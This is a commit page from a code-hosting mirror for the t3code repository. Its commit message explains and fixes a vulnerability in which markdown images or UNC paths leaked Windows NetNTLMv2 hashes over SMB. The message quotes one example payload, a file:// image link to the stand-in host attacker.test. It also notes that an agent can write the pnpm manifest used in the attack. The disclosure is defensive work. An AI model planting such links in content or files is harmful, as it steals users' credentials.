# Merge commit from fork · pingdotgg/t3code

[View on GitCafe](https://git.cafe/pingdotgg/t3code/commit/a12d6ed9428d8e64d76ca86d178abbf564b57cee)

Repository: [pingdotgg/t3code](https://git.cafe/pingdotgg/t3code)

Visibility: public

Requested revision: a12d6ed9428d8e64d76ca86d178abbf564b57cee

Requested commit: a12d6ed9428d8e64d76ca86d178abbf564b57cee

Commit: a12d6ed9428d8e64d76ca86d178abbf564b57cee

Tree: d603e9e6ca0bcecb10e8bba0e39003b9e7831787

Author: Julius Marminge

Committer: GitHub

## Message

```
Merge commit from fork

A markdown image such as ![x](file://attacker.test/share/cat.jpg), or a raw
\\host\share path, was classified as a host file. Rendering it asked the
server for a signed asset URL, and the server's realpath on the resulting UNC
path made Windows open an SMB session and send the user's NetNTLMv2 response
to the attacker's host, with no click and no tool call. File-link chips did
the same through filesystem.getMetadata, which stats every absolute path, and
storage cleanup stats the store paths in a worktree's pnpm manifest, which an
agent can write.

Network paths (two leading separators, as Windows reads them: \\h, //h, /\h)
now only resolve inside the thread's project, so projects on a share keep
working:

- clients block them in markdown images and stop treating them as file links
- the web stops asking for their metadata
- the server refuses them for media assets and file reads outside the
  project, never stats one for metadata, and storage cleanup ignores a pnpm
  manifest that names one
- each check hands the filesystem the resolved path it approved, since
  Windows reads a `\\?\` path as written, `..` included

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
```

## Parents

- [bd6940beab9e04a843d711fca812067c22991ab4](https://git.cafe/pingdotgg/t3code/commit/bd6940beab9e04a843d711fca812067c22991ab4?format=markdown)

[Source at this commit](https://git.cafe/pingdotgg/t3code/tree/a12d6ed9428d8e64d76ca86d178abbf564b57cee?format=markdown)